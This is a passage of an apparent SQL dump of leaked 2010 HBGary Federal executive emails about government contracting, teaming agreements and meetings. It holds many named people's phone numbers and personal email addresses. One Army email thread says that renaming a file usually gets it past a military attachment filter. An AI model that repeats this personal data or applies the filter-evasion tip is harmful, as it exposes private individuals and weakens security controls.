link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',342,'aaron_hbgary_com/342.html'),(9607,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007541.M34271P14101Q4462.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: TA with HBGary for TSA ITSSS','OK let me try this again.\r\n\r\n\r\n\r\nOn Aug 2, 2010, at 3:22 PM, Aaron Barr wrote:\r\n\r\n> Ian,\r\n> \r\n> See attached signed TA.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Wed, Jul 28, 2010 at 5:52 PM, Ianuar Badawi  wrote:\r\n> Aaron:\r\n> \r\n> Attached is the TA for TSA ITSSS opportunity for your review. If acceptable please sign; otherwise, you may comment using track changes.\r\n> \r\n> Thanks,\r\n> Ian Badawi\r\n> Digital Management, Inc.\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14992,'aaron_hbgary_com/14992.html'),(9608,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007544.M626980P14101Q4463.eml','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','Meeting with Bill','Hi Dana,\r\n\r\nI spoke with Bill yesterday about getting together to discuss some business opportunities.  Could you find an open spot in his calendar?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6654,'aaron_hbgary_com/6654.html'),(9609,'2010-08-04','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007551.M862695P14101Q4464.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: project x','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are the 2 spreadsheets I\r\nwas given.  There’s  a lot of noise in this but I know there are nuggets of\r\ngold in there. J\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Michael G. Spohn\r\n[mailto:mike@hbgary.com] \r\nSent: Thursday, July 22, 2010 11:42 PM\r\nTo: Rich Cummings\r\nSubject: Fwd: project x\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n-------- Original Message -------- \r\n\r\n\r\n \r\n  \r\n  Subject: \r\n  \r\n  \r\n  project\r\n  x\r\n  \r\n \r\n \r\n  \r\n  Date: \r\n  \r\n  \r\n  Thu,\r\n  22 Jul 2010 20:07:44 -0400\r\n  \r\n \r\n \r\n  \r\n  From: \r\n  \r\n  \r\n  Anglin,\r\n  Matthew &lt;Matthew.Anglin@QinetiQ-NA.com&gt;\r\n  \r\n \r\n \r\n  \r\n  To: \r\n  \r\n  \r\n  Michael\r\n  G. Spohn &lt;mike@hbgary.com&gt;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nMatthew Anglin\r\n\r\nInformation Security Principal, Office of the CSO\r\n\r\nQinetiQ North America\r\n\r\n7918 Jones Branch Drive Suite 350\r\n\r\nMclean, VA 22102\r\n\r\n703-752-9569 office, 703-967-2862 cell\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4738,'aaron_hbgary_com/4738.html'),(9610,'2010-08-04','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007554.M316803P14101Q4466.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Wed, Aug 4, \'10 at 1:01 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    HB Gary_Gatorbait_TA.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13750,'aaron_hbgary_com/13750.html'),(9611,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007554.M68334P14101Q4465.eml','\"Zosh\" <mydocs@zosh.com>','Mantech','Gatorbait\r\n\r\n',13171,'aaron_hbgary_com/13171.html'),(9612,'2010-08-04','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007556.M642142P14101Q4467.eml','aaron@hbgary.com','Here is your completed Zosh document.','\r\n\r\nYou just filled out and signed a document on your iPhone!\r\n\r\n\r\n&nbsp;Executed with Zosh www.zosh.com.\r\n\r\n\r\n',7852,'aaron_hbgary_com/7852.html'),(9613,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007557.M974036P14101Q4468.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: ManTech--HB Gary--Gatorbait Opportunity--TA','Steve,Please see attached.AaronOn Mon, Aug 2, 2010 at 4:49 PM, Ott, Stephen D &lt;Stephen.Ott@mantech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nAttached you\r\nwill find our standard Teaming Agreement to clarify the teaming arrangement\r\nwith ManTech on the Gatorbait effort.  Please review it, sign it, and\r\nreturn it back to me.  A fully executed agreement will then be sent to\r\nyou.  If you believe changes need to be made, please let me know your\r\nsuggested changes.  I can send you a word copy and you can turn on\r\n“track changes” to help speed the process.\r\n\r\n \r\n\r\nPlease email or\r\ncall if you have any questions.  Thank you for your help.\r\n\r\n   \r\n\r\nBest regards,\r\n\r\nSteve\r\n\r\n \r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the addressee (or\r\nauthorized to receive for the addressee), you may not use, copy, disclose or\r\ndistribute this email or any of the contents of this email.  If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Friday, July 09, 2010 1:12 PM\r\nTo: &#39;aaron@hbgary.com&#39;\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: RE: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nGood afternoon.  Thank you\r\nfor sending back the NDA with your signature.  Please see the attached\r\nexecuted version.  Let me know if you have any questions.\r\n\r\n \r\n\r\nThank you.\r\n\r\n \r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n \r\n\r\n\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ott, Stephen D \r\nSent: Thursday, July 08, 2010 3:39 PM\r\nTo: &#39;aaron@hbgary.com&#39;\r\nCc: Hull, Wayne A; Stewart, Brad\r\nSubject: ManTech--HB Gary--Gatorbait Opportunity--NDA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nGood afternoon.\r\n\r\n  \r\n\r\nAttached you\r\nwill find our standard Non-Disclosure Agreement to discuss teaming with ManTech\r\non the Gatorbait effort.  Please review it, sign it, and return it back to\r\nme.  A fully executed agreement will then be sent to you.  If you\r\nbelieve changes need to be made, please let me know your suggested\r\nchanges.  I can send you a word copy and you can turn on “track\r\nchanges” to help speed the process.\r\n\r\n \r\n\r\nPlease email or\r\ncall if you have any questions.  Thank you for your help.\r\n\r\n   \r\n\r\nBest Regards,\r\n\r\nSteve\r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email. \r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',7421,'aaron_hbgary_com/7421.html'),(9614,'2010-08-04','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','/aaron@hbgary.com/new/1297007558.M475692P14101Q4469.eml','brian_christos@yahoo.com,aaron@hbgary.com','Re: User Manual','\r\n\r\nRe: User Manual\r\n\r\n\r\nAaron,\r\n\r\nWould you kindly resend the user manual my way. &nbsp;My blackberry didn&#8217;t handle it too well. &nbsp;Thanks,\r\n\r\nBrian\r\n\r\n\r\nOn 8/4/10 7:10 AM, &quot;brian_christos@yahoo.com&quot; &lt;brian_christos@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: brian_christos@yahoo.com\r\nCc: Maria Lucas\r\nSubject: User Manual\r\nSent: Aug 3, 2010 5:36 PM\r\n\r\nMessage truncated due to size.\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14218,'aaron_hbgary_com/14218.html'),(9615,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007558.M735910P14101Q4470.eml','\"Maria Lucas\" <maria@hbgary.com>','TSS','Maria,\r\n\r\nCan you send me any information you have on TSA explained pain points to you during conversations?  What are they wanting to do/be?  What are there challenges?\r\n\r\nAaron\r\n\r\nSent from my iPhone',6305,'aaron_hbgary_com/6305.html'),(9616,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007559.M218259P14101Q4472.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Confirming lunch tomorrow','Zollman is going to join, he has a proposition for you...teaser alert! ',15667,'aaron_hbgary_com/15667.html'),(9617,'2010-08-04','aaron@hbgary.com','/aaron@hbgary.com/new/1297007559.M5940P14101Q4471.eml','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','Lunch','Hey Nolan,\r\n\r\nIt\'s been a long time.  I know your busy with NANA.  Want to do lunch?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',1247,'aaron_hbgary_com/1247.html'),(9618,'2010-08-04','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007577.M719599P14101Q4473.eml','Brian_N._Christos@oa.eop.gov','Fwd: Active Defense 1.0 User Guide.pdf','Here u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"ted@hbgary.com\" \r\n> To: \"aaron@hbgary.com\" \r\n> Subject: Active Defense 1.0 User Guide.pdf\r\n> \r\n\r\n> Attached: Active Defense 1.0 User Guide.pdf\r\n> Sent using Google Docs http://docs.google.com/\r\n> \r\n> User manual\r\n> \r\n',12663,'aaron_hbgary_com/12663.html'),(9619,'2010-08-04','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007580.M222560P14101Q4475.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: TSS','The challenges are the procurement process\r\n \r\nThey have encryption on the disk\r\n \r\nThey have to support eDiscovery which is not the main focus and they have Encase Enterprise but it doesn&#39;t work well it doesn&#39;t encrypt except sometimes.  Guidance Software makes promises that they don&#39;t keep for years now.\r\n\r\n \r\nIdeally they would have Access Data Netwitness HBGary -- we are in the mix because of the malware detection on the endpoint.  Access Data has promises of new features but I don&#39;t know what they are they can do what Netwitnmess does but not as well.  No one can do what we do.\r\n\r\n \r\nnot very helpful...\r\nOn Wed, Aug 4, 2010 at 7:04 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMaria,Can you send me any information you have on TSA explained pain points to you during conversations?  What are they wanting to do/be?  What are there challenges?\r\nAaronSent from my iPhone-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',2571,'aaron_hbgary_com/2571.html'),(9620,'2010-08-04','\"Bray, James H CIV USA TRADOC\" <james.bray@us.army.mil>','/aaron@hbgary.com/new/1297007580.M3879P14101Q4474.eml','aaron@hbgary.com','FW: [AKO Content Warning - Attachments] Social Media Presentation (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nAaron,\r\n    The Army firewall stripped off the .zip attachment.  If you have to send \r\nit as a zip please use jhbray62@ssvecnet.com\r\n\r\nThanks,\r\n\r\nJim\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, August 03, 2010 2:58 PM\r\nTo: Bray, James H CIV USA TRADOC\r\nSubject: [AKO Content Warning - Attachments] Social Media Presentation\r\n\r\nJames,\r\n\r\nI last gave this presentation at the NSA REBL Conference.  Let me know if you \r\ndon\'t get the attachment, it being a large zip file and all.\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',13710,'aaron_hbgary_com/13710.html'),(9621,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007580.M450357P14101Q4476.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: Confirming lunch tomorrow','Alright.  I love being propositioned.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n\r\n> Zollman is going to join, he has a proposition for you...teaser alert!\r\n',16412,'aaron_hbgary_com/16412.html'),(9622,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007580.M746644P14101Q4477.eml','\"Bray, James H CIV USA TRADOC\" <james.bray@us.army.mil>','Re: [AKO Content Warning - Attachments] Social Media Presentation (UNCLASSIFIED)','Thanks.  I will resend.  As a point of interest what would happen if I renamed the file to something not on the below list?  Would it pass through?  \r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 11:19 AM, \"Bray, James H CIV USA TRADOC\"  wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Aaron,\r\n>    The Army firewall stripped off the .zip attachment.  If you have to send \r\n> it as a zip please use jhbray62@ssvecnet.com\r\n> \r\n> Thanks,\r\n> \r\n> Jim\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 03, 2010 2:58 PM\r\n> To: Bray, James H CIV USA TRADOC\r\n> Subject: [AKO Content Warning - Attachments] Social Media Presentation\r\n> \r\n> James,\r\n> \r\n> I last gave this presentation at the NSA REBL Conference.  Let me know if you \r\n> don\'t get the attachment, it being a large zip file and all.\r\n> \r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n> The sender of the message sent the following file that is not allowed by NETCOM 2004-11A guidance: Social Media.ppt.zip .\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> The sender of the message sent file(s) that are not allowed by NETCOM 2004-11A. You may see the names of the files that were removed by opening the text attachments that replaced the removed attachments.\r\n> \r\n> In accordance with NETCOM guidance 2004-11A,\r\n> AKO has begun stripping files with the following extensions: \r\n> .ace, .ad, .ade, .adp, .asp, .b64, .bas, .bat, .bhx, .ceo, \r\n> .ce0, .chm, .com, .cmd, .cpl, .crt,  .dbx, .dll, .dot, .eml, .exe,\r\n> .hlp, .hqx,  .hta, .inf, .ins, .js, .jse,  .lnk, .mdb, .mde, .mim, .msi, \r\n> .msp, .nch, .ocx,  .pi, .pif, .rar, .reg, .scr, .sct, .shb, .shs, .upx, .url\r\n> .uue,  .uu, .vbe, .vbs, .vss, .vst, .vsw, .wmi, .ws, .wsc, .wsf,\r\n> .wsh, .xxe, and .zip.\r\n> \r\n> Since this is an Army policy, AKO will not be able to grant exceptions. \r\n> \r\n> You may view the NETCOM guidance at https://www.us.army.mil/suite/doc/7190255 \r\n> \r\n> The guidance includes instructions on how the sender should send the files that are restricted.\r\n',16279,'aaron_hbgary_com/16279.html'),(9623,'2010-08-04','noreply@google.com','/aaron@hbgary.com/new/1297007581.M100943P14101Q4478.eml','aaron@hbgary.com','FW: [AKO Content Warning - Attachments] Social Media Presentation 	(UNCLASSIFIED)','You used Gmail\'s \"Open as a Google document\" link to view the attachment called \"ATT929732\".By doing this you saved an editable copy online at Google Docs: https://docs.google.com/a/hbgary.com/Doc?id=dgmbffvt_42sp85wdf5&btr=EmailImportGoogle Docs allows you to:Create and edit documents, spreadsheets and presentations online, from anywhere you have Internet access.Share documents with others, even collaborating on the same document at once, in real time.Know that your documents are safe. Since your content is stored on Google\'s secure servers, even if something happens to your hard drive, your documents are protected.You can always get back to Google Docs directly at https://docs.google.com/a/hbgary.comThanks,The Google Docs TeamQuestions? Take a quick tour or visit the Google Docs Help Center. Please note this is an automated message -- we won\'t see it if you Reply to this.',2685,'aaron_hbgary_com/2685.html'),(9624,'2010-08-04','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297007581.M320499P14101Q4479.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Confirming lunch tomorrow','Want an intro to Tom Ryan? The robin sage guy. \r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Matthew Steckman\r\nCc: Aaron Zollman\r\nSent: Wed Aug 04 08:49:07 2010\nSubject: Re: Confirming lunch tomorrow\r\n\r\nAlright.  I love being propositioned.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n\r\n> Zollman is going to join, he has a proposition for you...teaser alert!\r\n',10113,'aaron_hbgary_com/10113.html'),(9625,'2010-08-04','\"Bray, James H CIV USA TRADOC\" <james.bray@us.army.mil>','/aaron@hbgary.com/new/1297007581.M532108P14101Q4480.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: [AKO Content Warning - Attachments] Social Media Presentation (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nUsually it will and then can be renamed.\r\n\r\nJim\r\n\r\nv/r\r\n\r\n \r\n\r\nJames H. Bray\r\n\r\nChief, Functional Training Branch\r\n\r\nOffice - (520) 533-0527\r\n\r\nDSN - 821-0527\r\n\r\nBlackberry - (520) 223-3669\r\n\r\nFax - (520) 538-7921\r\n\r\nNIPR: james.bray@us.army.mil\r\n\r\nSIPR: james.bray@us.army.smil.mil\r\n\r\n \r\n\r\n \r\n\r\nThis communication contains information intended for the use of the\r\nindividual or entity to which it is addressed and may contain\r\ninformationthat is privileged and/or confidential. If you are not the\r\nintended recipient or an employee or agent responsible for delivering this\r\ncommunication to the intended recipient, you are hereby notified that any\r\ndisclosure, copying, distribution, or use of its contents is prohibited. If\r\nyou have received this communication in error, please notify me\r\nimmediatelyby telephone at (520) 533-0527, return the original communication\r\nby reply e-mail, and permanently delete the communication from your system.\r\nThank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 8:56 AM\r\nTo: Bray, James H CIV USA TRADOC\r\nSubject: Re: [AKO Content Warning - Attachments] Social Media Presentation\r\n(UNCLASSIFIED)\r\n\r\nThanks.  I will resend.  As a point of interest what would happen if I\r\nrenamed the file to something not on the below list?  Would it pass through?\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 11:19 AM, \"Bray, James H CIV USA TRADOC\"\r\n wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Aaron,\r\n>    The Army firewall stripped off the .zip attachment.  If you have to\r\nsend \r\n> it as a zip please use jhbray62@ssvecnet.com\r\n> \r\n> Thanks,\r\n> \r\n> Jim\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, August 03, 2010 2:58 PM\r\n> To: Bray, James H CIV USA TRADOC\r\n> Subject: [AKO Content Warning - Attachments] Social Media Presentation\r\n> \r\n> James,\r\n> \r\n> I last gave this presentation at the NSA REBL Conference.  Let me know if\r\nyou \r\n> don\'t get the attachment, it being a large zip file and all.\r\n> \r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n> The sender of the message sent the following file that is not allowed by\r\nNETCOM 2004-11A guidance: Social Media.ppt.zip .\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> The sender of the message sent file(s) that are not allowed by NETCOM\r\n2004-11A. You may see the names of the files that were removed by opening\r\nthe text attachments that replaced the removed attachments.\r\n> \r\n> In accordance with NETCOM guidance 2004-11A,\r\n> AKO has begun stripping files with the following extensions: \r\n> .ace, .ad, .ade, .adp, .asp, .b64, .bas, .bat, .bhx, .ceo, \r\n> .ce0, .chm, .com, .cmd, .cpl, .crt,  .dbx, .dll, .dot, .eml, .exe,\r\n> .hlp, .hqx,  .hta, .inf, .ins, .js, .jse,  .lnk, .mdb, .mde, .mim, .msi, \r\n> .msp, .nch, .ocx,  .pi, .pif, .rar, .reg, .scr, .sct, .shb, .shs, .upx,\r\n.url\r\n> .uue,  .uu, .vbe, .vbs, .vss, .vst, .vsw, .wmi, .ws, .wsc, .wsf,\r\n> .wsh, .xxe, and .zip.\r\n> \r\n> Since this is an Army policy, AKO will not be able to grant exceptions. \r\n> \r\n> You may view the NETCOM guidance at\r\nhttps://www.us.army.mil/suite/doc/7190255 \r\n> \r\n> The guidance includes instructions on how the sender should send the files\r\nthat are restricted.\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',13700,'aaron_hbgary_com/13700.html'),(9626,'2010-08-04','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297007581.M755950P14101Q4481.eml','aaron@hbgary.com','RE: Lunch','Hi Aaron,\r\n\r\nThat sounds good, especially if you can come to Columbia...  :)  I\'m\r\nmanaging 12 TTOs now so it is quite busy!\r\n\r\nCheers,\r\nNolan\r\n\r\nNolan Clifford, CISSP, CFCP\r\nCEO, Information Security Solutions\r\nwww.informationsecuritysolutionsllc.com\r\n703-945-7480 -Blackberry\r\n703-869-7396 - Mobile\r\n\r\n-----Original Message-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 04, 2010 10:31 AM\r\nTo: Nolan Clifford\r\nSubject: Lunch\r\n\r\nHey Nolan,\r\n\r\nIt\'s been a long time.  I know your busy with NANA.  Want to do lunch?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',4840,'aaron_hbgary_com/4840.html'),(9627,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007582.M17124P14101Q4482.eml','\"Matthew Steckman\" <msteckman@palantir.com>','Re: Confirming lunch tomorrow','Yes please.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 4, 2010, at 12:01 PM, Matthew Steckman  wrote:\r\n\r\n> Want an intro to Tom Ryan? The robin sage guy. \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Matthew Steckman\r\n> Cc: Aaron Zollman\r\n> Sent: Wed Aug 04 08:49:07 2010\r\n> Subject: Re: Confirming lunch tomorrow\r\n> \r\n> Alright.  I love being propositioned.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 4, 2010, at 10:50 AM, Matthew Steckman  wrote:\r\n> \r\n>> Zollman is going to join, he has a proposition for you...teaser alert!\r\n',8314,'aaron_hbgary_com/8314.html'),(9628,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007607.M189851P14101Q4483.eml','jhbray62@ssvecnet.com','Social Media Presentation','Jim,Here you go.  Let me know if you have any questions.-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',16335,'aaron_hbgary_com/16335.html'),(9629,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007608.M556565P14101Q4484.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','TSA Opportunity','Bob,\r\n\r\nI know this is not your area but I can\'t get a hold of Eric and I need to make the connection soon if their is a possible opportunity.  There is a TSA IA Draft RFP that hit the street over the weekend.  It is a SMB Set-aside.  We are teamed with Digitalmanagement, they recruited us for this effort a while back.  They would like a larger defense contractor on the team, were talking with Northrop, I waved my arms vigorously and said ManTech is the company that is a better fit and will better execute.  Can you put me in touch with the person that handles TSA?\r\n\r\nSee you tomorrow.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8293,'aaron_hbgary_com/8293.html'),(9630,'2010-08-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007613.M898273P14101Q4485.eml','\"Bray, James H CIV USA TRADOC\" <james.bray@us.army.mil>','Re: [AKO Content Warning - Attachments] Social Media Presentation (UNCLASSIFIED)','rgr. tks.  I just sent you your alternate account.\r\n\r\nAaron\r\n\r\nOn Aug 4, 2010, at 12:01 PM, Bray, James H CIV USA TRADOC wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Usually it will and then can be renamed.\r\n> \r\n> Jim\r\n> \r\n> v/r\r\n> \r\n> \r\n> \r\n> James H. Bray\r\n> \r\n> Chief, Functional Training Branch\r\n> \r\n> Office - (520) 533-0527\r\n> \r\n> DSN - 821-0527\r\n> \r\n> Blackberry - (520) 223-3669\r\n> \r\n> Fax - (520) 538-7921\r\n> \r\n> NIPR: james.bray@us.army.mil\r\n> \r\n> SIPR: james.bray@us.army.smil.mil\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> This communication contains information intended for the use of the\r\n> individual or entity to which it is addressed and may contain\r\n> informationthat is privileged and/or confidential. If you are not the\r\n> intended recipient or an employee or agent responsible for delivering this\r\n> communication to the intended recipient, you are hereby notified that any\r\n> disclosure, copying, distribution, or use of its contents is prohibited. If\r\n> you have received this communication in error, please notify me\r\n> immediatelyby telephone at (520) 533-0527, return the original communication\r\n> by reply e-mail, and permanently delete the communication from your system.\r\n> Thank you.\r\n> \r\n> \r\n> -----Original 